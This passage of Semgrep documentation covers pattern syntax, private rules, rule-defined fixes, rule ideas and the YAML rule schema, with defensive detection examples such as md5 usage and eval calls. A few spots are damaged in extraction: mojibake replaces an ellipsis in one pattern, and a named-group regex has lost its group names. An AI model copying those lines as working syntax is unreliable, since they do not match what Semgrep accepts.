For example the pattern `foo($...ARGS, 3, $...ARGS)` will
match:
```python theme={null}
foo(1,2,3,1,2)
```
When referencing an ellipsis metavariable in a rule message or [metavariable-pattern](/writing-rules/rule-syntax#metavariable-pattern), include the ellipsis:
```yaml theme={null}
- message: Call to foo($...ARGS)
```
### Anonymous metavariables
Anonymous metavariables are used to specify that a metavariable exists in the pattern you want to capture.
An anonymous metavariable always takes the form `$_`. Variables such as `$_1` or `$_2` are **not** anonymous. You can use more than one anonymous metavariable in a rule definition.
For example, if you want to specify that a function should **always** have 3 arguments, then you can use anonymous metavariables:
```yaml theme={null}
- pattern: def function($_, $_, $_)
```
An anonymous metavariable does not produce any binding to the code it matched. This means it does not enforce that it matches the same code at each place it is used. The pattern:
```yaml theme={null}
- pattern: def function($A, $B, $C)
```
is not equivalent to the former example, as `$A`, `$B`, and `$C` bind to the code that matched the pattern. You can then use `$A` or any other metavariable in your rule definition to specify that specific code. Anonymous metavariables cannot be used this way.
Anonymous metavariables also communicate to the reader that their values are not relevant, but rather their occurrence in the pattern.
### Metavariable unification
For search mode rules, metavariables with the same name are treated as the same metavariable within the `patterns` operator. This is called metavariable unification.
For taint mode rules, patterns defined **within** `pattern-sinks` and `pattern-sources` still unify. However, metavariable unification **between** `pattern-sinks` and `pattern-sources` is **not** enabled by default.
To enforce unification, set `taint_unify_mvars: true` under the rule `options` key. When `taint_unify_mvars: true` is set, a metavariable defined in `pattern-sinks` and `pattern-sources` with the same name is treated as the same metavariable. See [Metavariables, rule message, and unification](/writing-rules/data-flow/taint-mode/advanced#metavariables-rule-messages-and-unification) for more information.
### Display matched metavariables in rule messages
Display values of matched metavariables in rule messages. Add a metavariable to the rule message (for example `Found $X`) and Semgrep replaces it with the value of the detected metavariable.
To display matched metavariable in a rule message, add the same metavariable as you are searching for in your rule to the rule message.
Find the metavariable used in the Semgrep rule. See the following example of a part Semgrep rule (formula):
```yaml theme={null}
- pattern: $MODEL.set_password(β¦)
```
This formula uses `$MODEL` as a metavariable.
Insert the metavariable to rule message:
```yaml theme={null}
- message: Setting a password on $MODEL
```
Use the formula displayed above against the following code:
```python theme={null}
user.set_password(new_password)
```
The resulting message is:
```
Setting a password on user
```
Run the following example in Semgrep Playground to see the message (click **Open in Editor**, and then **Run**, unroll the **1 Match** to see the message):
**INFO**
If you're using Semgrep's advanced dataflow features, see documentation of experimental feature [Displaying propagated value of metavariable](/writing-rules/experiments/display-propagated-metavariable).
## Equivalences
Semgrep automatically searches for code that is semantically equivalent.
### Imports
Equivalent imports using aliasing or submodules are matched.
The pattern `subprocess.Popen(...)` matches:
```python theme={null}
import subprocess.Popen as sub_popen
sub_popen('ls')
```
The pattern `foo.bar.baz.qux(...)` matches:
```python theme={null}
from foo.bar import baz
baz.qux()
```
### Constants
Semgrep performs constant propagation.
The pattern `set_password("password")` matches:
```python theme={null}
HARDCODED_PASSWORD = "password"
def update_system():
set_password(HARDCODED_PASSWORD)
```
Basic constant propagation support like in the example above is a stable feature.
Experimentally, Semgrep also supports [intraprocedural flow-sensitive constant propagation](/writing-rules/data-flow/constant-propagation).
The pattern `set_password("...")` also matches:
```python theme={null}
def update_system():
if cond():
password = "abc"
else:
password = "123"
set_password(password)
```
**TIP**
It is possible to disable constant propagation in a per-rule basis via the [`options` rule field](/writing-rules/rule-syntax#options).
### Associative and commutative operators
Semgrep performs associative-commutative (AC) matching. For example, `... && B && C` will match both `B && C` and `(A && B) && C` (i.e., `&&` is associative). Also, `A | B | C` will match `A | B | C`, and `B | C | A`, and `C | B | A`, and any other permutation (i.e., `|` is associative and commutative).
Under AC-matching metavariables behave similarly to `...`. For example, `A | $X` can match `A | B | C` in four different ways (`$X` can bind to `B`, or `C`, or `B | C`). In order to avoid a combinatorial explosion, Semgrep will only perform AC-matching with metavariables if the number of potential matches is *small*, otherwise it will produce just one match (if possible) where each metavariable is bound to a single operand.
Using [`options`](/writing-rules/rule-syntax#options) it is possible to entirely disable AC-matching. It is also possible to treat Boolean AND and OR operators (e.g., `&&` in `||` in C-family languages) as commutative, which can be useful despite not being semantically accurate.
## Deep expression operator
Use the deep expression operator `<... [your_pattern] ...>` to match an expression that could be deeply nested within another expression. An example is looking for a pattern anywhere within an `if` statement. The deep expression operator matches your pattern in the current expression context and recursively in any subexpressions.
For example, this pattern:
```yaml theme={null}
pattern: |
if <... $USER.is_admin() ...>:
...
```
matches:
```python theme={null}
if user.authenticated() and user.is_admin() and user.has_group(gid):
[ CONDITIONAL BODY ]
```
The deep expression operator works in:
* `if` statements: `if <... $X ...>:`
* nested calls: `sql.query(<... $X ...>)`
* operands of a binary expression: `"..." + <... $X ...>`
* any other expression context
## Limitations
### Statements types
Semgrep handles some statement types differently than others, particularly when searching for fragments inside statements. For example, the pattern `foo` will match these statements:
```python theme={null}
x += foo()
return bar + foo
foo(1, 2)
```
But `foo` will not match the following statement (`import foo` will match it though):
```python theme={null}
import foo
```
#### Statements as expressions
Many programming languages differentiate between expressions and statements. Expressions can appear inside if conditions, in function call arguments, etc. Statements can not appear everywhere; they are sequence of operations (in many languages using `;` as a separator/terminator) or special control flow constructs (if, while, etc.).
`foo()` is an expression (in most languages).
`foo();` is a statement (in most languages).
If your search pattern is a statement, Semgrep will automatically try to search for it as *both* an expression and a statement.
When you write the expression `foo()` in a pattern, Semgrep will visit every expression and sub-expression in your program and try to find a match.
Many programmers don't really see the difference between `foo()` and `foo();`. This is why when one looks for `foo()`; Semgrep thinks the user wants to match statements like `a = foo();`, or `print(foo());`.
**INFO**
Note that in some programming languages such as Python, which does not use semicolons as a separator or terminator, the difference between expressions and statements is even more confusing. Indentation in Python matters, and a newline after `foo()` is really the same than `foo();` in other programming languages such as C.
### Partial expressions
Partial expressions are not valid patterns. For example, the following is invalid:
```text theme={null}
pattern: 1+
```
A complete expression is needed (like `1 + $X`)
### Ellipses and statement blocks
The [ellipsis operator](#ellipsis-operator) does *not* jump from inner to outer statement blocks.
For example, this pattern:
```text theme={null}
foo()
...
bar()
```
matches:
```python theme={null}
foo()
baz()
bar()
```
and also matches:
```python theme={null}
foo()
baz()
if cond:
bar()
```
but it does *not* match:
```python theme={null}
if cond:
foo()
baz()
bar()
```
because `...` cannot jump from the inner block where `foo()` is, to the outer block where `bar()` is.
### Partial statements
Partial statements are partially supported. For example,
you can just match the header of a conditional with `if ($E)`,
or just the try part of an exception statement with `try { ... }`.
This is especially useful when used in a
[pattern-inside](/writing-rules/rule-syntax#pattern-inside) to restrict the
context in which to search for other things.
### Other partial constructs
It is possible to just match the header of a function (without its body),
for example `int foo(...)` to match just the header part of the
function `foo`. In the same way, you can just match a class header
(e.g., with `class $A`).
## Deprecated features
### String matching
**WARNING**
String matching has been deprecated. You should use [`metavariable-regex`](/writing-rules/rule-syntax#metavariable-regex) instead.
Search string literals within code with [Perl Compatible Regular Expressions (PCRE)](https://learnxinyminutes.com/pcre/).
The pattern `requests.get("=~/dev\./i")` matches:
```python theme={null}
requests.get("api.dev.corp.com") # Oops, development API left in
```
To search for specific strings, use the syntax `"=~//"`. Advanced regexp features are available, such as case-insensitive regexps with `'/i'` (e.g., `"=~/foo/i"`). Matching occurs anywhere in the string unless the regexp `^` anchor character is used: `"=~/^foo.*/"` checks if a string begins with `foo`.
# Private rules
Source: https://docs.semgrep.dev/writing-rules/private-rules
Users with Semgrep Code's [Team or Enterprise tier](https://semgrep.dev/pricing) can publish rules to the [Semgrep Registry](https://semgrep.dev/explore) as private rules that are not visible to those outside their organization. Maintaining the rules' privacy allows you the benefits of using the Semgrep Registry while keeping sensitive code or information internal.
## Creating private rules
You can create private rules the same way you create other custom rules. The subsequent sections can help you create and save your private rules.
### Create private rules through Semgrep AppSec Platform
To create and publish private rules through the Semgrep AppSec Platform:
Go to [Semgrep Editor](https://semgrep.dev/orgs/-/editor).
Click **Create New Rule**.
Choose one of the following options to create your rule:
* Click the **plus** icon, select **New rule**, provide the YAML file for your rule, and then click **Save**.
* In the **Library** panel, select a rule from a category in **Semgrep Registry**. Click **Fork**, modify the rule or test code, and then click **Save**.
Click **Share**.
Click **Private**.
Your private rule has been created and added to the Registry. It is visible only to logged in users of your organization, and its private status is reflected by the **Share** button displaying a icon.
Private rules are stored in the folder with the same name as your Semgrep AppSec Platform organization.
### Create private rules through the Semgrep command-line interface
To create private rules through the [Semgrep CLI](/getting-started/quickstart), :
Log in to Semgrep. Running this command launches a browser window, but you can also use the link that's returned in the CLI to proceed:
```console theme={null}
semgrep login
```
In the **Semgrep CLI login**, click **Activate** to proceed.
Create your rule. For more information, see [Contributing rules](/contributing/contributing-to-semgrep-rules-repository).
Publish your rule from the command line using `semgrep publish` command followed by the path to your private rules:
```console theme={null}
semgrep publish myrules/
```
If the rules are in the directory you publish from, you can use `semgrep publish .` to refer to the current directory. You must provide the directory specification.
If the directory contains test cases for the rules, Semgrep uploads them as well (see [testing Semgrep rules](/writing-rules/testing-rules)).
You can change the visibility of the rules. For instance, to publish the rules as unlisted (which does not require authentication but results in the rules hidden from users of the public registry):
```console theme={null}
semgrep publish --visibility=unlisted myrules/
```
For more details, run `semgrep publish --help`.
## View and use private rules
View your rules in [Semgrep Editor](https://semgrep.dev/orgs/-/editor) under the folder corresponding to your organization name.
You can also find it in the [Semgrep Registry](https://semgrep.dev/explore) by searching for `[organization-id].[rule-id]`. For example: `r2c.test-rule-id`.
To use the rule with subsequent scans, add the rule in the [Registry](https://semgrep.dev/explore) to an existing policy.
## Automatically publish rules
This section provides examples of how to automatically publish your private rules so they are accessible within your private organization. Publishing your private rules in this manner does not make them public. In the following examples, the private rules are stored in `private_rule_dir`, which is a subdirectory of the repository root. If your rules are in the root of your repository, you can replace the command with `semgrep publish --visibility=org_private .` to refer to the repository root. You must provide the directory specification.
The following sample of the GitHub Actions workflow publishes rules from a private Git repository after a merge to the `main`, `master`, or `develop` branches.
Ensure that `SEMGREP_APP_TOKEN` is defined in your GitHub project or organization's secrets.
Create the following file at `.github/workflows/semgrep-publish.yml`:
```yaml expandable theme={null}
name: semgrep-publish
on:
push:
branches:
- main
- master
- develop
jobs:
publish:
name: publish-private-semgrep-rules
runs-on: ubuntu-latest
container:
image: semgrep/semgrep
steps:
- uses: actions/checkout@v6
- name: publish private semgrep rules
run: semgrep publish --visibility=org_private ./private_rule_dir
env:
SEMGREP_APP_TOKEN: ${{ secrets.SEMGREP_APP_TOKEN }}
```
Alternatively, if you use GitLab, you can use the subsequent sample after ensuring that `SEMGREP_APP_TOKEN` is defined in your GitLab project's CI/CD variables:
```yaml theme={null}
semgrep-publish:
image: semgrep/semgrep
script: semgrep publish --visibility=org_private ./private_rule_dir
rules:
- if: $CI_COMMIT_BRANCH == $CI_DEFAULT_BRANCH
variables:
SEMGREP_APP_TOKEN: $SEMGREP_APP_TOKEN
```
## Delete private rules
To remove a private rule, follow these steps:
In the [Semgrep Editor](https://semgrep.dev/orgs/-/editor), find the private rule to delete under the **Library** tab. Private rules are usually stored in the folder with the same name as your Semgrep AppSec Platform organization.
Click the rule you want to delete, and then click the three vertical dots.
Click **Delete**.
Deleting a rule is permanent. If the rule was previously added to the **Policies** page, it is removed upon deletion.
## Appendix
### Visibility of private rules
Private rules are only visible to logged-in members of your organization.
### Publish a rule with the same rule ID
Rules have unique IDs. If you publish a rule with the same ID as an existing rule, the new rule overwrites the previous one.
# Rule-defined fix
Source: https://docs.semgrep.dev/writing-rules/rule-defined-fix
Rule-defined fix is a Semgrep feature that lets you add suggested fixes to rules.
Semgrep's rule format supports a `fix:` key that supports the replacement of metavariables and regex matches with potential fixes. When rules that include a Rule-defined fix are triggered, Semgrep suggests these fixes in your pull request or merge request comments. You can view and easily resolve the findings as part of your code review workflow.
You can apply the Rule-defined fix directly to the file using the `--autofix` flag. To test the fix before applying it, use both the `--autofix` and `--dryrun` flags.
**TIP**
Rule-defined fixes are deterministic and user-defined. Related AI-powered features include [Semgrep Multimodal's Suggested fix](/semgrep-multimodal/overview#suggested-fix), and [Autofix](/semgrep-code/triage-remediation/autofix), which can automatically generate a fix PR or MR.
## Example Rule-defined fix snippet
Sample Rule-defined fix (view in [Playground](https://semgrep.dev/s/R6g)):
```yaml theme={null}
rules:
- id: use-sys-exit
languages:
- python
message: |
Use `sys.exit` over the python shell `exit` built-in. `exit` is a helper
for the interactive shell and is not available on all Python implementations.
https://stackoverflow.com/a/6501134
pattern: exit($X)
fix: sys.exit($X)
severity: MEDIUM
```
## Create Rule-defined fix rules
See how to create a Rule-defined fix in the **Transforming code with Semgrep's Rule-defined fix** video:
## Rule-defined fix with regular expression replacement
A variant of the `fix` key is `fix-regex`, which applies regular expression replacements (similar to `sed`) to matches found by Semgrep.
`fix-regex` has two required fields:
* `regex` specifies the regular expression to replace within the match found by Semgrep
* `replacement` specifies what to replace the regular expression with.
`fix-regex` also takes an optional `count` field, which specifies how many occurrences of `regex` to replace with `replacement`, from left-to-right and top-to-bottom. By default, `fix-regex` will replace all occurrences of `regex`. If `regex` does not match anything, no replacements are made.
The replacement behavior is identical to the `re.sub` function in Python. See these [Python docs](https://docs.python.org/3/library/re.html#re.sub) for more information.
An example rule with `fix-regex` is shown below. `regex` uses a capture group to greedily capture everything up to the final parenthesis in the match found by Semgrep. `replacement` replaces this with everything in the capture group (`\1`), a comma, `timeout=30`, and a closing parenthesis. Effectively, this adds `timeout=30` to the end of every match.
```yaml theme={null}
rules:
- id: python.requests.best-practice.use-timeout.use-timeout
patterns:
- pattern-not: requests.$W(..., timeout=$N, ...)
- pattern-not: requests.$W(..., **$KWARGS)
- pattern-either:
- pattern: requests.request(...)
- pattern: requests.get(...)
- pattern: requests.post(...)
- pattern: requests.put(...)
- pattern: requests.delete(...)
- pattern: requests.head(...)
- pattern: requests.patch(...)
fix-regex:
regex: '(.*)\)'
replacement: '\1, timeout=30)'
message: |
'requests' calls default to waiting until the connection is closed.
This means a 'requests' call without a timeout will hang the program
if a response is never received. Consider setting a timeout for all
'requests'.
languages: [python]
severity: MEDIUM
```
## Remove code detected by a rule
Improve your code quality by cleaning up stale code automatically. To remove code identified by a Rule-defined fix, add the `fix` key with an empty string `""`.
For example:
```yaml theme={null}
- id: python-typing
pattern: from typing import $X
fix: ""
languages: [python]
message: found one
severity: ERROR
```
When you apply this Rule-defined fix, the detected code is removed.
# Rule structure syntax examples
Source: https://docs.semgrep.dev/writing-rules/rule-ideas
Not sure what to write a rule for? Below are some common questions, ideas, and topics to spur your imagination. Happy hacking! π‘
## Automate code review comments
*Time to write this rule: **5 minutes***
You can use Semgrep and its GitHub integration to [automate PR comments](/semgrep-appsec-platform/notifications) that you frequently make in code reviews. Writing a custom rule for the code pattern you want to target is usually straightforward. If you want to understand the Semgrep syntax, see the [documentation](/writing-rules/pattern-syntax) or try the [tutorial](https://semgrep.dev/learn).
A reviewer writes a Semgrep rule and adds it to an organization-wide policy.
## Ban dangerous APIs
*Time to write this rule: **5 minutes***
Semgrep can detect dangerous APIs in code. If integrated into CI/CD pipelines, you can use Semgrep to block merges or flag for review when someone adds such dangerous APIs to the code. For example, a rule that detects React's `dangerouslySetInnerHTML` looks like this.
## Exempt special cases of dangerous APIs
*Time to write this rule: **5 minutes***
If you have a legitimate use case for a dangerous API, you can exempt a specific use of the API using a `nosemgrep` comment. The rule below checks for React's `dangerouslySetInnerHTML`, but the code is annotated with a `nosemgrep` comment. Semgrep will not detect this line. This allows Semgrep to continuously check for future uses of `dangerouslySetInnerHTML` while allowing for this specific use.
## Detect tainted data flowing into a dangerous sink
*Time to write this rule: **5 minutes***
Semgrep's [dataflow engine with support for taint tracking](/writing-rules/data-flow/data-flow-overview) can be used to detect when data flows from a user-provided value into a security-sensitive function.
This rule detects when a user of the ExpressJS framework passes user data into the `run()` method of a sandbox.
## Detect security violations
*Time to write this rule: **5 minutes***
Use Semgrep to flag specific uses of APIs too, not just their presence in code. We jokingly call these the "security off" buttons and make extensive use of Semgrep to detect them.
This rule detects when HTML auto-escaping is explicitly disabled for a Django template.
## Scan configuration files using JSON, YAML, or generic pattern matching
*Time to write this rule: **10 minutes***
Semgrep [natively supports JSON and YAML](/supported-languages) and can be used to write rules for configuration files. This rule checks for skipped TLS verification in Kubernetes clusters.
The [Generic pattern matching](/writing-rules/generic-pattern-matching) mode is for languages and file formats that Semgrep does not natively support. For example, you can write rules for Dockerfiles using the generic mode. The Dockerfile rule below checks for invalid port numbers.
## Enforce authentication patterns
*Time to write this rule: **15 minutes***
If a project has a "correct" way of doing authentication, Semgrep can be used to enforce this so that authentication mishaps do not happen. In the example below, this Flask app requires an authentication decorator on all routes. The rule detects routes that are missing authentication decorators. If deployed in CI/CD pipelines, Semgrep can block undecorated routes or flag a security member for further investigation.
## Systematize project-specific coding patterns
*Time to write this rule: **10 minutes***
Automate institutional knowledge using Semgrep. This has several benefits, including teaching new members about coding patterns in an automatic way and keeping a project up-to-date with coding patterns. If you keep coding guidelines in a document, converting these into Semgrep rules is a great way to free developers from having to remember all the guidelines.
In this example, a legacy API requires calling `verify_transaction(t)` before calling `make_transaction(t)`. The Semgrep rule below detects when these methods are not called correctly.
## Extract information with metavariables
*Time to write this rule: **15 minutes***
Semgrep metavariables can be used as output in the `message` key. This can be used to extract and collate information about a codebase. Click through to [this example](https://semgrep.dev/s/ORpk), which extracts Java Spring routes. This can be used to quickly see all the exposed routes of an application.
## Detect deprecated APIs
*Time to write this rule: **5 minutes***
Semgrep can detect deprecated APIs just as easily as dangerous APIs. Identifying deprecated API calls can help an application migrate to current or future versions.
This rule example detects a function that is deprecated as of Django 4.0.
## Promote secure alternatives
*Time to write this rule: **5 minutes***
Some libraries or APIs have safe alternatives, such as [Google's `re2`](https://github.com/google/re2), an implementation of the standard `re` interface that ships with Python that is resistant to regular expression denial-of-service. This rule detects the use of `re` and recommends `re2` as a safe alternative with the same interface.
## Prompts for writing custom rules
Try answering these questions to uncover important rules for your project.
1. From recent post-mortems: what code issues contributed to it?
2. \[XYZ] is a (security, performance, other) library that everyone should use, but they donβt consistently.
3. When you review code, what changes do you frequently ask for?
4. What vulnerability classes from bug bounty submissions recur (or appear in different places of the codebase)?
5. Are there engineering or performance patterns? Consistent exception handlers?
6. What issues were caused by misconfigurations in Infrastructure-as-Code files (JSON)?
7. What are some βinvariantsβ that should hold about your code - things that should always or never be true (for example, every admin route checks if the user is an admin)?
8. What methods/APIs are deprecated and youβre trying to move away from?
# Rule structure syntax
Source: https://docs.semgrep.dev/writing-rules/rule-syntax
**TIP**
Getting started with rule writing? Try the [Semgrep Tutorial](https://semgrep.dev/learn) π
This document describes the YAML rule syntax of Semgrep.
## Schema
### Required
All required fields must be present at the top level of a rule immediately under the `rules` key.
| Field | Type | Description |
| :------------------- | :------- | :--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `id` | `string` | Unique, descriptive identifier, for example: `no-unused-variable` |
| `message` | `string` | Message that includes why Semgrep matched this pattern and how to remediate it. See also [Rule messages](/contributing/contributing-to-semgrep-rules-repository/#rule-messages). |
| `severity` | `string` | Severity can be `LOW`, `MEDIUM`, `HIGH`, or `CRITICAL`. It indicates the criticality of issues detected by a rule. Note: Semgrep Supply Chain uses [CVE assignments for severity](/semgrep-supply-chain/findings#filter-findings), while the rule author sets severity for Code and Secrets. The older levels `ERROR`, `WARNING`, and `INFO` match `HIGH`, `MEDIUM`, and `LOW`. Severity values remain backwards compatible. |
| `languages` | `array` | See [language extensions and tags](/writing-rules/rule-syntax/#language-extensions-and-languages-key-values). |
| `pattern`*\** | `string` | Find code matching this expression |
| `patterns`*\** | `array` | Logical `AND` of multiple patterns |
| `pattern-either`*\** | `array` | Logical `OR` of multiple patterns |
| `pattern-regex`*\** | `string` | Find code matching this [PCRE2](https://www.pcre.org/current/doc/html/pcre2pattern.html)-compatible pattern in multiline mode |
**INFO**
Only one of the following keys are required: `pattern`, `patterns`, `pattern-either`, `pattern-regex`
#### Language extensions and languages key values
The following table includes languages supported by Semgrep, accepted file extensions for test files that accompany the rules, and valid values that Semgrep rules require in the `languages` key.
| Language | Extensions | `languages` key values |
| :---------------------------------- | :----------------------------------------------------------------------------------------------- | :----------------------------------- |
| Apex (only in Semgrep Pro Engine) | `.cls` | `apex` |
| Bash | `.bash`, `.sh` | `bash`, `sh` |
| C | `.c`, `.h` | `c` |
| Cairo | `.cairo` | `cairo` |
| Circom | `.circom` | `circom` |
| Clojure | `.clj`, `.cljs`, `.cljc`, `.edn` | `clojure` |
| C++ | `.cc`, `.cpp`, `.cxx`, `.c++`, `.pcc`, `.tpp`, `.C`, `.h`, `.hh`, `.hpp`, `.hxx`, `.inl`, `.ipp` | `cpp`, `c++` |
| C# | `.cs` | `csharp`, `c#` |
| Dart | `.dart` | `dart` |
| Dockerfile | `.dockerfile`, `.Dockerfile`, `dockerfile`, `Dockerfile` | `dockerfile`, `docker` |
| Elixir (only in Semgrep Pro Engine) | `.ex`, `.exs` | `ex`, `elixir` |
| Generic | `.generic` | `generic` |
| Go | `.go` | `go`, `golang` |
| Gosu (only in Semgrep Pro Engine) | `.gs` | `gosu` |
| Hack | `.hack`, `.hck`, `.hh` | `hack` |
| HTML | `.htm`, `.html` | `html` |
| Java | `.java` | `java` |
| JavaScript | `.js`, `.jsx`, `.cjs`, `.mjs` | `js`, `javascript` |
| JSON | `.json`, `.ipynb` | `json` |
| Jsonnet | `.jsonnet`, `.libsonnet` | `jsonnet` |
| JSX | `.js`, `.jsx` | `js`, `javascript` |
| Julia | `.jl` | `julia` |
| Kotlin | `.kt`, `.kts`, `.ktm` | `kt`, `kotlin` |
| Lisp | `.lisp`, `.cl`, `.el` | `lisp` |
| Lua | `.lua` | `lua` |
| Move on SUI | `.move` | `move_on_sui` |
| Move on Aptos | `.move` | `move_on_aptos` |
| OCaml | `.ml`, `.mli` | `ocaml` |
| PHP | `.php`, `.tpl`, `.phtml` | `php` |
| Prometheus Query Language | `.promql` | `promql` |
| Protocol Buffers | `.proto` | `proto`, `protobuf`, `proto3` |
| Python | `.py`, `.pyi` | `python`, `python2`, `python3`, `py` |
| QL | `.ql`, `.qll` | `ql` |
| R | `.r`, `.R` | `r` |
| Ruby | `.rb` | `ruby` |
| Rust | `.rs` | `rust` |
| Scala | `.scala` | `scala` |
| Scheme | `.scm`, `.ss` | `scheme` |
| Solidity | `.sol` | `solidity`, `sol` |
| Swift | `.swift` | `swift` |
| Terraform | `.tf`, `.hcl`, `.tfvars` | `tf`, `hcl`, `terraform` |
| TypeScript | `.ts`, `.tsx` | `ts`, `typescript` |
| Vue | `.vue` | `vue` |
| XML | `.xml`, `.plist` | `xml` |
| YAML | `.yml`, `.yaml` | `yaml` |
**INFO**
To see the maturity level of each supported language, see the following references:
* [Semgrep CE](/semgrep-ce-languages)
* [Semgrep Code](/supported-languages#language-maturity-summary)
### Optional
| Field | Type | Description |
| :-------------------------------------------- | :------- | :------------------------------------------------------------------------------------ |
| [`options`](#options) | `object` | Options object to turn on or turn off matching features |
| [`fix`](#fix) | `object` | Simple search-and-replace capability |
| [`metadata`](#metadata) | `object` | Arbitrary user-provided data; attach data to rules without affecting Semgrep behavior |
| [`min-version`](#min-version-and-max-version) | `string` | Minimum Semgrep version compatible with the rule |
| [`max-version`](#min-version-and-max-version) | `string` | Maximum Semgrep version compatible with the rule |
| [`paths`](#paths) | `object` | Paths to include or exclude when running the rule |
The following field is optional, but if used, it must be nested underneath a `patterns` or `pattern-either` field.
| Field | Type | Description |
| :---------------------------------- | :------- | :----------------------------------------- |
| [`pattern-inside`](#pattern-inside) | `string` | Keep findings that lie inside this pattern |
The following fields are optional, but if used, they must be nested underneath a `patterns` field.
| Field | Type | Description |
| :---------------------------------------------------- | :------- | :----------------------------------------------------------------------------------------------------------------------------------------------------- |
| [`metavariable-regex`](#metavariable-regex) | `map` | Search metavariables for [Python `re`](https://docs.python.org/3/library/re.html#re.match) compatible expressions; regex matching is **left anchored** |
| [`metavariable-pattern`](#metavariable-pattern) | `map` | Match metavariables with a pattern formula |
| [`metavariable-comparison`](#metavariable-comparison) | `map` | Compare metavariables against basic [Python expressions](https://docs.python.org/3/reference/expressions.html#comparisons) |
| [`metavariable-name`](#metavariable-name) | `map` | Match metavariables against constraints on what they name |
| [`pattern-not`](#pattern-not) | `string` | Logical `NOT` - remove findings matching this expression |
| [`pattern-not-inside`](#pattern-not-inside) | `string` | Keep findings that do not lie inside this pattern |
| [`pattern-not-regex`](#pattern-not-regex) | `string` | Filter results using a [PCRE2](https://www.pcre.org/current/doc/html/pcre2pattern.html)-compatible pattern in multiline mode |
## Operators
### `pattern`
The `pattern` operator looks for code matching its expression. This can be basic expressions like `$X == $X` or unwanted function calls like `hashlib.md5(...)`.
```yaml theme={null}
rules:
- id: md5-usage
languages:
- python
message: Found md5 usage
pattern: hashlib.md5(...)
severity: HIGH
```
The preceding pattern matches the following:
```python highlight={3} theme={null}
import hashlib
# ruleid: md5-usage
digest = hashlib.md5(b"test")
# ok: md5-usage
digest = hashlib.sha256(b"test")
```
### `patterns`
The `patterns` operator performs a logical `AND` operation on one or more child patterns. This is useful for chaining multiple patterns together where all patterns must be true.
```yaml theme={null}
rules:
- id: unverified-db-query
patterns:
- pattern: db_query(...)
- pattern-not: db_query(..., verify=True, ...)
message: Found unverified db query
severity: HIGH
languages:
- python
```
The preceding pattern matches the following:
```python highlight={2} theme={null}
# ruleid: unverified-db-query
db_query("SELECT * FROM ...")
# ok: unverified-db-query
db_query("SELECT * FROM ...", verify=True, env="prod")
```
#### `patterns` operator evaluation strategy
The order in which the child patterns are declared in a `patterns` operator does not affect the final result. A `patterns` operator is always evaluated in the same way:
1. Semgrep evaluates all *positive* patterns, including [`pattern-inside`](#pattern-inside)s, [`pattern`](#pattern)s, [`pattern-regex`](#pattern-regex)es, and [`pattern-either`](#pattern-either)s. Each range matched by one of these patterns is intersected with the ranges matched by the other operators. The result is a set of *positive* ranges. The positive ranges carry *metavariable bindings*. For example, in one range,`$X` can be bound to the function call `foo()`, and in another range `$X` can be bound to the expression `a + b`.
2. Semgrep evaluates all *negative* patterns, including [`pattern-not-inside`](#pattern-not-inside)s, [`pattern-not`](#pattern-not)s, and [`pattern-not-regex`](#pattern-not-regex)es. This provides a set of *negative ranges* which are used to filter the positive ranges. This results in a strict subset of the positive ranges computed in the previous step.
3. Semgrep evaluates all *conditionals*, including [`metavariable-regex`](#metavariable-regex)es, [`metavariable-pattern`](#metavariable-pattern)s, and [`metavariable-comparison`](#metavariable-comparison)s. These conditional operators can only examine the metavariables bound in the positive ranges in step 1 and have been filtered through the negative patterns in step 2. Note that metavariables bound by negative patterns are *not* available here.
4. Semgrep applies all [`focus-metavariable`](#focus-metavariable)s by computing the intersection of each positive range with the range of the metavariable on which you want to focus. Again, the only metavariables available to focus on are those bound by positive patterns.
### `pattern-either`
The `pattern-either` operator performs a logical `OR` operation on one or more child patterns. This is useful for chaining multiple patterns together where any may be true.
```yaml theme={null}
rules:
- id: insecure-crypto-usage
pattern-either:
- pattern: hashlib.sha1(...)
- pattern: hashlib.md5(...)
message: Found insecure crypto usage
languages:
- python
severity: HIGH
```
The preceding pattern matches the following:
```python highlight={3,5} theme={null}
import hashlib
# ruleid: insecure-crypto-usage
digest = hashlib.md5(b"test")
# ruleid: insecure-crypto-usage
digest = hashlib.sha1(b"test")
# ok: insecure-crypto-usage
digest = hashlib.sha256(b"test")
```
This rule checks for the use of Python standard library functions `hashlib.md5` or `hashlib.sha1`. Depending on their usage, these hashing functions are considered insecure.
### `pattern-regex`
The `pattern-regex` operator searches files for substrings matching the given [Perl-Compatible Regular Expressions (PCRE)](https://www.pcre.org/current/doc/html/pcre2pattern.html) pattern. PCRE is a full-featured regular expression (regex) library that is widely compatible with Perl, as well as with the respective regex libraries of Python, JavaScript, Go, Ruby, and Java. This is useful for migrating existing regular expression code search capability to Semgrep. Patterns are compiled in multiline mode. For example, `^` and `$` match at the beginning and end of lines, respectively, in addition to the beginning and end of input.
**CAUTION**
PCRE2 supports [some Unicode character properties, but not some Perl properties](https://www.pcre.org/current/doc/html/pcre2pattern.html#uniextseq). For example, `\p{Egyptian_Hieroglyphs}` is supported, but `\p{InMusicalSymbols}` isn't.
#### Example: `pattern-regex` combined with other pattern operators
```yaml theme={null}
rules:
- id: boto-client-ip
patterns:
- pattern-inside: boto3.client(host="...")
- pattern-regex: \d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}
message: boto client using IP address
languages:
- python
severity: HIGH
```
The preceding pattern matches the following:
```python highlight={3} theme={null}
import boto3
# ruleid: boto-client-ip
client = boto3.client(host="192.168.1.200")
# ok: boto-client-ip
client = boto3.client(host="dev.internal.example.com")
```
#### Example: `pattern-regex` used as a standalone, top-level operator
```yaml theme={null}
rules:
- id: legacy-eval-search
pattern-regex: eval\(
message: Insecure code execution
languages:
- javascript
severity: HIGH
```
The preceding pattern matches the following:
```python highlight={2} theme={null}
# ruleid: legacy-eval-search
eval('var a = 5')
```
**INFO**
Single (`'`) and double (`"`) quotes [behave differently](https://docs.octoprint.org/en/master/configuration/yaml.html#scalars) in YAML syntax. Single quotes are typically preferred when using backslashes (`\`) with `pattern-regex`.
Note that you may bind a section of a regular expression to a metavariable by using [named capturing groups](https://www.regular-expressions.info/named.html). In this case, the name of the capturing group must be a valid metavariable name.
```yaml theme={null}
rules:
- id: my_pattern_id-copy
patterns:
- pattern-regex: a(?P.*)b(?P.*)
message: Semgrep found a match, with $FIRST and $SECOND
languages:
- regex
severity: MEDIUM
```
The preceding pattern matches the following:
```python highlight={1} theme={null}
acbd
```
### `pattern-not-regex`
